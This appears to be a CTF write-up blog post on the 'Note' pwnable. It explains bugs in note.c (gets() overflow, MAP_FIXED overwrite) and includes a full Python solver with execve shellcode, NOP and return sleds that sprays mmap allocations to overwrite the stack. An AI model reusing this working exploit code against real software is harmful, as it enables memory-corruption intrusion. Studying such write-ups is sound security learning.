Pwnables Write-up: Note

And there goes another night spent honing my CTF skills. This time, I decided to tackle pwnables Note challenge for 200 points.

Check out my SECURITY PATCH for mmap().
despite no-ASLR setting, it will randomize memory layout.
so it will contribute for exploit mitigation.
wanna try sample application?

ssh [email protected] -p2222 (pw:guest)

When dropping onto the server, I did my typical opening move:

[email protected]:~$ ls
note note.c readme

Then checked the readme:

[email protected]:~$ cat readme
the "note" binary will be executed under note_pwn privilege
if you connect to port 9019.
execute the binary by connecting to daemon(nc 0 9019) then pwn it,
then get flag.
ASLR is disabled for this challenge

I'm a Dog Person

In this post, you're gonna see some code with the string /bin/dog. In reality, these should be /bin /cat. However, this blogging platform has 31337 s3cur1ty, and they 403 FORBIDDEN anything containing /bin /cat:

<head>
    <meta http-equiv="Content-Type" content="text/html" charset="UTF-8" />
    <title>Blocked</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
</head>

<body>
    <div class="outer">
        <div class="wrap">
            <div class="content">
                <h1>Sorry, you've been blocked</h1>
                <h2>We've detected malicious activity from your connection</h2>
            </div>
        </div>
        <div class="foot">
            <p>Think this is a mistake? Tweet <a href="https://twitter.com/TryGhost">@TryGhost</a>.
            </p>
        </div>
    </div>
</body>

Yes, I do think this is a mistake. Anyways, back to our regularly scheduled programming.

Code Analysis

After reading over the instructions, I pulled down note.c and started analyzing the code. The first thing that caught my eye was select_menu(), where they give us a secret menu option and an intentional buffer overflow:

void select_menu(){
        int menu;
        char command[1024];
        printf("- Select Menu -\n");
        printf("1. create note\n");
        printf("2. write note\n");
        printf("3. read note\n");
        printf("4. delete note\n");
        printf("5. exit\n");
        scanf("%d", &menu);
        clear_newlines();
        
        switch(menu){
                case 1:
                        create_note();
                        break;
                case 2:
                        write_note();
                        break;
                case 3:
                        read_note();
                        break;
                case 4:
                        delete_note();
                        break;
                case 5:
                        printf("bye\n");
                        return;
                case 0x31337:
                        printf("welcome to hacker's secret menu\n");
                        printf("i'm sure 1byte overflow will be enough for you to pwn this\n");
                        fgets(command, 1025, stdin);
                        break;
                default:
                        printf("invalid menu\n");
                        break;
        }
        select_menu();
}

As far as I know, this is actually a red herring. There's only a single-byte overflow here, and it overflows into the menu variable. We already have full control of this variable, and it's not even used after we overflow it.

After using gdb to confirm that this overflow does indeed hit menu, I decide to start looking into options 1 through 4. Consecutively, these allow you to allocate a note, write data to a note, read data from a note, and delete a note.

Notes are allocated using a custom function, mmap_s(), which we'll get to soon. There can be up to 256 notes, and each note is a single page. The notes are initialized to 0x00 by the underlying mmap() call:

void create_note(){
        int i;
        void* ptr;
        for(i=0; i<256; i++){
                if(mem_arr[i] == NULL){
                        ptr = mmap_s((void*)NULL, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
                        mem_arr[i] = ptr;
                        printf("note created. no %d\n [%08x]", i, (int)ptr);
                        return;
                }
        }
        printf("memory sults are fool\n");
        return;
}

The only part of this code that I found useful for an attack was the information disclosure, which tells us the address of our note.

In note writing, I found a very useful bug. After validating the desired note, it populates the buffer with gets():

printf("paste your note (MAX : 4096 byte)\n");
gets(mem_arr[no]);

I immediately knew this bug would come in handy. If you're not aware, gets() will keep reading from stdin until it encounters either a \n character or an EOF. Yes, it will read beyond null terminators and unprintable characters, as well.

I didn't find anything useful in note reading or deletion, so I moved on to mmap_s():

void* mmap_s(void* addr, size_t length, int prot, int flags, int fd, off_t offset){
        // security fix: current version of mmap(NULL.. is not giving secure random address
        if(addr == NULL && !(flags & MAP_FIXED)) {
                void* tmp=0;
                int fd = open("/dev/urandom", O_RDONLY);
                if(fd==-1) exit(-1);
                if(read(fd, &addr, 4)!=4) exit(-1);
                close(fd);
                // to avoid heap fragmentation, lets skip malloc area
                addr = (void*)( ((int)addr & 0xFFFFF000) | 0x80000000 );
                while(1) {
                        // linearly search empty page (maybe this can be improved)
                        tmp = mmap(addr, length, prot, flags | MAP_FIXED, fd, offset);
                        if (tmp != MAP_FAILED) {
                                return tmp;
                        } else {
                                // memory already in use!
                                addr = (void*)((int)addr + PAGE_SIZE);  // choose adjacent page
                        }
                }
        }
        return mmap(addr, length, prot, flags, fd, offset);
}

Right away, I found a very interesting bug. While fd is passed in as -1, which is what we'd want it to be for a non-file-backed mapping, a local variable fd is declared and used to store the descriptor to /dev/urandom. This descriptor is ultimately closed before allocation, but the value of fd remains changed (it always gets set to 3, since no other files get opened). The mmap() call doesn't seem to care that it is passed a closed file descriptor, and the call succeeds without the mapping being backed by /dev/urandom (it is not even a mappable file). As it turns out, this is because MAP_ANONYMOUS ignores the fd argument.

I then noticed something else: while avoiding heap fragmentation, the code drastically reduces the area in which memory can be allocated:

addr = (void*)( ((int)addr & 0xFFFFF000) | 0x80000000 );

There's still a massive region there, but more predictability is always nice.

The next bug took my eyes from code to documentation, as I tried to understand exactly what the mmap() call would do. And, oh my, did I hit a goldmine. By using MAP_FIXED, the code ensures that the mapping will always land on the exact address specified in addr. At first, I thought, "well, hey, if it lands on an address which is in use, it should return MAP_FAILED and step up by a page at a time until it lands in free memory":

if (tmp != MAP_FAILED) {
    return tmp;
} else {
    // memory already in use!
    addr = (void*)((int)addr + PAGE_SIZE);  // choose adjacent page
}

But then I read further into the documentation:

If the memory region specified by addr and len overlaps pages of
any existing mapping(s), then the overlapped part of the
existing mapping(s) will be discarded.

I'm not sure what this type of bug is called, but I'll call it map-over-data or MOD for short.

Plan of Attack

When deciding how to attack this application, I first made some assertions about the bugs I'd found:

  • The 1-byte overflow is a useless distraction.
  • The fd bug is also unusable. Either the author put it as a distraction or made a mistake.

This left me with three bugs: the information disclosure, the gets() overflow, and the MOD. I realized that if I could use the MOD to land somewhere interesting, I could then use the overflow to attack the memory.

MOD Spray

I decided to spam as many note allocations as I could, collecting information on where they land. First, I needed to know what memory could be considered interesting:

[email protected]:~$ gdb note
(gdb) b *main
Breakpoint 1 at 0x80489f2
(gdb) r
Starting program: /home/note/note
Breakpoint 1, 0x080489f2 in main ()
(gdb) info proc mappings

Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x804a000     0x2000        0x0 /home/note/note
         0x804a000  0x804b000     0x1000     0x1000 /home/note/note
         0x804b000  0x804c000     0x1000     0x2000 /home/note/note
        0xf7e16000 0xf7e17000     0x1000        0x0
        0xf7e17000 0xf7fc4000   0x1ad000        0x0 /lib32/libc-2.23.so
        0xf7fc4000 0xf7fc6000     0x2000   0x1ac000 /lib32/libc-2.23.so
        0xf7fc6000 0xf7fc7000     0x1000   0x1ae000 /lib32/libc-2.23.so
        0xf7fc7000 0xf7fcb000     0x4000        0x0
        0xf7fd5000 0xf7fd7000     0x2000        0x0 [vvar]
        0xf7fd7000 0xf7fd9000     0x2000        0x0 [vdso]
        0xf7fd9000 0xf7ffb000    0x22000        0x0 /lib32/ld-2.23.so
        0xf7ffb000 0xf7ffc000     0x1000        0x0
        0xf7ffc000 0xf7ffd000     0x1000    0x22000 /lib32/ld-2.23.so
        0xf7ffd000 0xf7ffe000     0x1000    0x23000 /lib32/ld-2.23.so
        0xfffdd000 0xffffe000    0x21000        0x0 [stack]

I decided to write a python script to automate the process of spamming note allocations. There are a few considerations I had to make, however:

  • A session could crash at any time, due to mapping over required memory and, thus, zeroing it out.
  • All sessions will eventually crash, as select_menu() is called recursively and will eventually blow up the stack.
  • Everything will be done over the network, so communication must be efficient.

To address the first two points, I designed the script to run inside of a loop which could start over when a session crashed. To conquer the final point, I made sure to batch up requests. For instance, to allocate a note, I simply need to send 1\n. Knowing how many notes I have to allocate, I batched these up into a single network call:

# allocate as many blocks as we can at once
blockCount = (256 - len(important_notes))
s.send("1\n" * blockCount)

I configured my network code such that it would slurp up the hundreds of responses into a single buffer, then went on to process the results in a loop. Each response starts with the menu and ends with two lines describing the allocated note:

# spin over the results and see what we've got
for b in range(1, blockCount):
    read_lines_until(s, "exit", False)
    line1 = read_line_nonnull(s)
    line2 = read_line_nonnull(s)

I used regex to grab each note's index and address:

NOTENO_REGEX = re.compile('^.*created. no (\d{1,3}).*$', re.IGNORECASE)
ADDRESS_REGEX = re.compile('^.*\[([A-Fa-f0-9]{8})\].*$', re.IGNORECASE)

Made sure to have a list of interesting memory buffers:

IMPORTANT_MAPPINGS = [
  [0x8048000, 0x804a000, "note"],
  [0x804a000, 0x804b000, "note"],
  [0x804b000, 0x804c000, "note"],
  [0xf7e17000, 0xf7fc4000, "lib"],
  [0xf7fc4000, 0xf7fc6000, "libc"],
  [0xf7fc6000, 0xf7fc7000, "libc"],
  [0xf7fd9000, 0xf7ffb000, "ld"],
  [0xf7ffc000, 0xf7ffd000, "ld"],
  [0xf7ffd000, 0xf7ffe000, "ld"],
  [0xfffdd000, 0xffffe000, "[stack]"]
]

And then set the response loop up to show all of the mappings which were hit:

no = int(NOTENO_REGEX.match(line1).group(1))
adr = int(ADDRESS_REGEX.match(line2).group(1), 16)

for imap in IMPORTANT_MAPPINGS:
    if (adr >= imap[0] and adr < imap[1]):
        important_notes.append(no)
        offset = adr - imap[0]
        print("  Landed note %d in important map (%s, offs: 0x%04x, adr: 0x%08x)" % (no, imap[2], offset, adr))
        break

After each batch of allocations, I had code to delete any notes which weren't deemed important:

# clear out any blocks we don't need and start again
todel = []
for i in range(0, 256):
    if (i not in important_notes):
        todel.append(i)
s.send(''.join("4\n%d\n" % x for x in todel))

# make sure to read all of the output
for d in todel:
    read_lines_until(s, "exit", False)
read_lines_until(s, "exit", False)

After this, the code would loop back to the note allocation process and repeat. This allocation loop would continue until the session crashed, triggering a repeat of the entire process with a brand new session.

After a few minutes of runtime, I gained some very valuable insight. Because of the bitmasking done, mmap_s() refrains from dropping anything on the executable code of ./note. However, that's about the only restriction. It had no problem turning other critical memory into its stomping ground:

Landed note 28 in important map ([stack], offs: 0x20000, adr: 0xffffd000)
Landed note 48 in important map (libc, offs: 0xa7000, adr: 0xf7ebe000)
Landed note 99 in important map (libc, offs: 0x87000, adr: 0xf7e9e000)
Landed note 173 in important map (ld, offs: 0x0000, adr: 0xf7ffc000)
Landed note 3 in important map (libc, offs: 0x23000, adr: 0xf7e3a000)
Landed note 54 in important map ([stack], offs: 0x1f000, adr: 0xffffc000)
Landed note 173 in important map (libc, offs: 0x10d000, adr: 0xf7f24000)
Landed note 171 in important map (libc, offs: 0x33000, adr: 0xf7e4a000)
Landed note 88 in important map (ld, offs: 0x8000, adr: 0xf7fe1000)
Landed note 83 in important map (libc, offs: 0x74000, adr: 0xf7e8b000)

The Attack

Given this information, there were two routes I could take:

  • I could attempt to spray shellcode into libc and ld, with the hope that it would inadvertently get executed.
  • I could drop shellcode on the stack and use a ROP sled to try and force a return into it.

I decided to go with the latter option for a few reasons:

  • The entire stack is writable, allowing me to use gets() to it's full potential. Effectively, I can control the entire stack after the point of MOD.
  • The library memory, on the other hand, would be write protected everywhere except the single page where the MOD occurs, making it harder for execution to land.
  • Forcing a return into the shellcode is very easy in this case. Normally, there's the concern about corrupting data and stack frames when smashing the stack. In this instance, though, we have a good chance to start above any stack frames and bleed all the way down into the working stack. It wont be foolproof, but it should still work with a few tries.

I got to work on a shellcode generation function, which allowed me to easily call execve() with whichever arguments I chose:

def build_execve_shellcode(address, command, args):
	SHELLCODE =  "\x31\xC0"             # xor eax, eax
	SHELLCODE += "\xBA\xDD\xBE\x75\xCA" # mov edx, 0xca75bedd  char * envp[]
	SHELLCODE += "\xB9\x0D\xF0\xAD\xBA" # mov ecx, 0xbaadf00d  char * argv[]
	SHELLCODE += "\xBB\xEF\xBE\xAD\xDE" # mov ebx, 0xdeadbeef  char *filename
	SHELLCODE += "\xB0\x0B"             # mov al, 0xb          execve syscall id
	SHELLCODE += "\xCD\x80"             # int 0x80             call execve
	# push the initial shellcode
	shell = SHELLCODE
	# push the command string
	adrCommand = len(shell) + address
	shell += command + "\x00"
	# push the argument strings
	adrArgs = []
	for arg in args:
		adrArg = len(shell) + address
		shell += arg + "\x00"
		adrArgs.append(adrArg)
	# align with 0x00 bytes
	shell += ('\x00' * (4 - (len(shell) % 4)))
	# build an array of pointers to the arguments (lead with the command)
	adrArgArray = len(shell) + address
	shell += struct.pack("<I", adrCommand)
	for argp in adrArgs:
		shell += struct.pack("<I", argp)
	# terminate the array with 0x00000000
	adrArgArrayTerminator = len(shell) + address
	shell += struct.pack("<I", 0)
	# point filename at the command
	shell = shell.replace("\xEF\xBE\xAD\xDE", struct.pack("<I", adrCommand))
	# point argv at the pointer array
	shell = shell.replace("\x0D\xF0\xAD\xBA", struct.pack("<I", adrArgArray))
	# point envp at the array terminator, since we want it as a null array
	shell = shell.replace("\xDD\xBE\x75\xCA", struct.pack("<I", adrArgArrayTerminator))
	# trail with nops to align the shellcode
	shell += ('\x90' * (4 - (len(shell) % 4)))
	return shell

And I called it like so (lead by 100 NOP instructions for scratch space, even though I know the exact address):

shell = build_nop_sled(100)
shell += build_execve_shellcode(adr + len(shell), "/bin/dog", ["flag"])

Essentially, the generated buffer looked something like this:

XX:                  # 100 nops before
64: 31 c0            xor    eax,eax
66: ba 90 50 ff ff   mov    edx,0xffff5094
6b: b9 88 50 ff ff   mov    ecx,0xffff508c
70: bb 79 50 ff ff   mov    ebx,0xffff5079
75: b0 0b            mov    al,0xb
77: cd 80            int    0x80
79:                  "/bin/dog"
81: 00
82:                  "flag"
86: 00 00 00 00 00 00
8c: 79 50 ff ff      address of "/bin/dog"
90: 82 50 ff ff      address of "flag"
94: 00 00 00 00      null adress

This is similar to the following C code:

char *const filename = "/bin/dog";
char *const arg = "flag";
char *const argv[] = {filename, arg, NULL};
execve(filename, &argv[0], &argv[2]);

Once I had the shellcode, I only needed to build a ROP sled. Essentially, this meant filling the entire stack with the address of the shellcode so that something could RET into it. I made my shellcode generator ensure to pad the buffer so that it would be on a 4-byte boundary, ensuring the ROP sled would be properly aligned. Then I made a function to generate it:

def build_rop_sled(target, size, offset):
	# calculate amount of space, then subtract 1 incase of a rounding issue
	#   (don't want to run beyond the stack and get a segfault)
	ropsize = ((size - offset) / 4) - 1
	rop = struct.pack("<I", target)
	return (rop * ropsize)

All that was left was to add this to the end of the shellcode buffer, ensuring it was the right size to fill the entire stack without causing an overflow:

shell += build_rop_sled(adr, imap[1] - imap[0], len(shell) + offset)

And it was time to smash:

print("  Hit the stack! Attempting shellcode.")
s.send(b"2\n%d\n%s\n5\n\n" % (no, shell))

Following the smash, I needed code to detect the flag (because the attack isn't reliable, I can't stop until it succeeds). I did this by creating a list of substrings which I expect to see and filtering lines which contain them:

# clear the socket buffer since we won't care about anything else at this point
SOCK_BUFF = ""
							
# filter through the output for the flag
knownSubs = ["e note", "d note", "exit", " no?", "bye", "(MAX", "- Select"]
while True:
    line = read_line(s)
    cont = (line == "")
    for a in knownSubs:
        if (a in line):
            cont = True
            break
    if (cont):
        continue
    GOTFLAG = True
    print("FLAG: %s" % line)

I put everything together, added some logging, and it was off to victory.

Winning

I ran the solver, and it managed to get the solution pretty quickly.

Okay, guys, look.. not THAT quickly.
I made some mistakes, and I                                                 sed 's/some/a lot/g' *
had to re-write the code many times.
I struggled to figure out why it failed
quite a bit. But, eventually...

Once I managed to get the code working, it needed 37 attempts to get the flag. In these attempts, it managed to MOD the stack with a failed attack 7 times, succeeding on the 8th. Across all 37 runs, 147,943 notes were allocated to hit the perfect spot. Probably over a million were allocated before I perfected the solver.

Starting mmap_s() spray #37...
    Landed note 206 in important map ([stack], offs: 0x11000, adr: 0xfffee000)
    Hit the stack! Attempting shellcode.
    FLAG: <omitted, go solve it yourself!>
Looks like the target crashed, restarting...
    Number of Crashes: 37
    Total Allocations: 147943
    Shellcode Attempts: 8
We might have a flag, check the console.

And I was done! It felt quite nice to be rid of this challenge, considering it was only worth 200 points but took longer than the 500 pointer I recently solved.

Okay, to be fair, I solved this challenge quicker, but it was messy. If I'm being honest, I solved it re-running a shittier script by hand multiple times. It's only afterwards that I spent some extra time re-working the script into a full-auto solver so I could seem cool in the write-up. Ah, well, there goes that.

If you want the full script, I've put it at the end of the post to avoid clutter.

Final Note

I'm glad I solved the challenge, but I'm honestly a bit dissatisfied with my solution. It works, and it's pretty cool, but it's super janky. In the real world, you can't always crash something MAX_INT times to land your exploit. I'm convinced that there is probably a more reliable solve, but I haven't managed to find it. The sad part is, even though over 200 people have solved this one, I can't find a single write-up for it. I'd really like to see if someone used any of the other bugs--or found ones that I'd missed--and crafted a better attack.

This segues in to the reason I write this blog: I want to teach people. Whether you're someone coming here to see how their solution stacks up against mine or you simply want to learn how to hack, I want to be here to teach you what I can. It just sucks that I was hoping I could learn from someone else's write-up, only to find there aren't any. So, if you're CTFing, hacking games, doing crackmes, or just really kicking bits in a text editor, blog it! What you're doing is interesting, and there are people who would love to read about it.

solver.py

this code is messy and I'm not responsible for any nightmares it gives you
two space indent is to save wrapping on the blog, i'm usually a tab man okay?

import socket
import re
import sys
import os
import fcntl
import struct
import binascii
import select

NOTENO_REGEX = re.compile('^.*created. no (\d{1,3}).*$', re.IGNORECASE)
ADDRESS_REGEX = re.compile('^.*\[([A-Fa-f0-9]{8})\].*$', re.IGNORECASE)

IMPORTANT_MAPPINGS = [
  [0x8048000, 0x804a000, "/home/note/note"],
  [0x804a000, 0x804b000, "/home/note/note"],
  [0x804b000, 0x804c000, "/home/note/note"],

  [0xf7e17000, 0xf7fc4000, "/lib32/libc-2.23.so"],
  [0xf7fc4000, 0xf7fc6000, "/lib32/libc-2.23.so"],
  [0xf7fc6000, 0xf7fc7000, "/lib32/libc-2.23.so"],

  [0xf7fd9000, 0xf7ffb000, "/lib32/ld-2.23.so"],
  [0xf7ffc000, 0xf7ffd000, "/lib32/ld-2.23.so"],
  [0xf7ffd000, 0xf7ffe000, "/lib32/ld-2.23.so"],

  [0xfffdd000, 0xffffe000, "[stack]"]
]

def build_nop_sled(size):
  return ('\x90' * size)

def build_execve_shellcode(address, command, args):
  SHELLCODE =  "\x31\xC0"             # xor eax, eax
  SHELLCODE += "\xBA\xDD\xBE\x75\xCA" # mov edx, 0xca75bedd     char *const envp[]
  SHELLCODE += "\xB9\x0D\xF0\xAD\xBA" # mov ecx, 0xbaadf00d     char *const argv[]
  SHELLCODE += "\xBB\xEF\xBE\xAD\xDE" # mov ebx, 0xdeadbeef     const char *filename
  SHELLCODE += "\xB0\x0B"             # mov al, 0xb             execve syscall id
  SHELLCODE += "\xCD\x80"             # int 0x80                call execve
  # push the initial shellcode
  shell = SHELLCODE
  # push the command string
  adrCommand = len(shell) + address
  shell += command + "\x00"
  # push the argument strings
  adrArgs = []
  for arg in args:
    adrArg = len(shell) + address
    shell += arg + "\x00"
    adrArgs.append(adrArg)
  # align with 0x00 bytes
  shell += ('\x00' * (4 - (len(shell) % 4)))
  # build an array of pointers to the arguments (lead with the command)
  adrArgArray = len(shell) + address
  shell += struct.pack("<I", adrCommand)
  for argp in adrArgs:
    shell += struct.pack("<I", argp)
  # terminate the array with 0x00000000
  adrArgArrayTerminator = len(shell) + address
  shell += struct.pack("<I", 0)
  # point filename at the command
  shell = shell.replace("\xEF\xBE\xAD\xDE", struct.pack("<I", adrCommand))
  # point argv at the pointer array
  shell = shell.replace("\x0D\xF0\xAD\xBA", struct.pack("<I", adrArgArray))
  # point envp at the array terminator, since we want it as a null array
  shell = shell.replace("\xDD\xBE\x75\xCA", struct.pack("<I", adrArgArrayTerminator))
  # trail with nops to align the shellcode
  shell += ('\x90' * (4 - (len(shell) % 4)))
  return shell

def build_rop_sled(target, size, offset):
  # calculate amount of space, then subtract 1 incase of a rounding issue
  #   (don't want to run beyond the stack and get a segfault)
  ropsize = ((size - offset) / 4) - 1
  rop = struct.pack("<I", target)
  return (rop * ropsize)

SOCK_BUFF = ""
def read_line(sock):
  global SOCK_BUFF

  if ('\n' in SOCK_BUFF):
    line, SOCK_BUFF = SOCK_BUFF.split('\n', 1)
    return line

  while True:
    rr, rw, e = select.select([sock,], [sock,], [sock], 1)
    if (len(rr)):
      data = sock.recv(4096)
      if (data == ""):
        if (SOCK_BUFF != ""):
          return SOCK_BUFF
        raise Exception()
      SOCK_BUFF += data
    else:
      break

  if ('\n' in SOCK_BUFF):
    line, SOCK_BUFF = SOCK_BUFF.split('\n', 1)
    return line
  return ""

def read_lines_until(sock, expected, display=False):
  while True:
    line = read_line(sock)
    if (display and line != ""):
      print(line)
    if (expected in line):
      break

def read_line_nonnull(sock):
  line = ""
  while line == "":
    line = read_line(sock)
  return line




GOTFLAG = False
TRIES = 0
TOTAL_ALLOCATIONS = 0
SHELLCODE_ATTEMPTS = 0
while True:
  try:
    TRIES += 1
    print("Starting mmap_s() spray #%d..." % TRIES)
    SOCK_BUFF = ""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('localhost', 9019))
    important_notes = []

    read_lines_until(s, "exit", False)
    while True:
      # allocate as many blocks as we can at once
      blockCount = (256 - len(important_notes))
      s.send("1\n" * blockCount)
      TOTAL_ALLOCATIONS += blockCount

      # spin over the results and see what we've got
      for b in range(1, blockCount):
        read_lines_until(s, "exit", False)

        line1 = read_line_nonnull(s)
        line2 = read_line_nonnull(s)
        no = int(NOTENO_REGEX.match(line1).group(1))
        adr = int(ADDRESS_REGEX.match(line2).group(1), 16)

        for imap in IMPORTANT_MAPPINGS:
          if (adr >= imap[0] and adr < imap[1]):
            important_notes.append(no)
            offset = adr - imap[0]
            print("  Landed note %d in important map (%s, offs: 0x%04x, adr: 0x%08x)" % (no, imap[2], offset, adr))
            if (imap[2] == "[stack]"):
              SHELLCODE_ATTEMPTS += 1
              # lead with some nops to leave stack scratch space for the shellcode to work
              shell = build_nop_sled(100)
              shell += build_execve_shellcode(adr + len(shell), "/bin/dog", ["flag"])
              #print(binascii.hexlify(b"%s" % shell))
              shell += build_rop_sled(adr, imap[1] - imap[0], len(shell) + offset)

              # clear the socket buffer since we won't care about anything else at this point
              SOCK_BUFF = ""
              # launch the attack
              print("  Hit the stack! Attempting shellcode.")
              s.send(b"2\n%d\n%s\n5\n\n" % (no, shell))

              # filter through the output for the flag
              knownSubs = ["e note", "d note", "exit", " no?", "bye", "(MAX", "- Select"]
              while True:
                line = read_line(s)
                cont = (line == "")
                for a in knownSubs:
                  if (a in line):
                    cont = True
                    break
                if (cont):
                  continue
                GOTFLAG = True
                print("FLAG: %s" % line)
            break

      # clear out any blocks we don't need and start again
      todel = []
      for i in range(0, 256):
        if (i not in important_notes):
          todel.append(i)
      s.send(''.join("4\n%d\n" % x for x in todel))

      # make sure to read all of the output
      for d in todel:
        read_lines_until(s, "exit", False)
      read_lines_until(s, "exit", False)
  except:
    print("Looks like the target crashed, restarting...")
    print("  Number of Crashes: %d" % TRIES)
    print("  Total Allocations: %d" % TOTAL_ALLOCATIONS)
    print("  Shellcode Attempts: %d" % SHELLCODE_ATTEMPTS)
    if (GOTFLAG):
      raw_input("We might have a flag, check the console.")
      GOTFLAG = False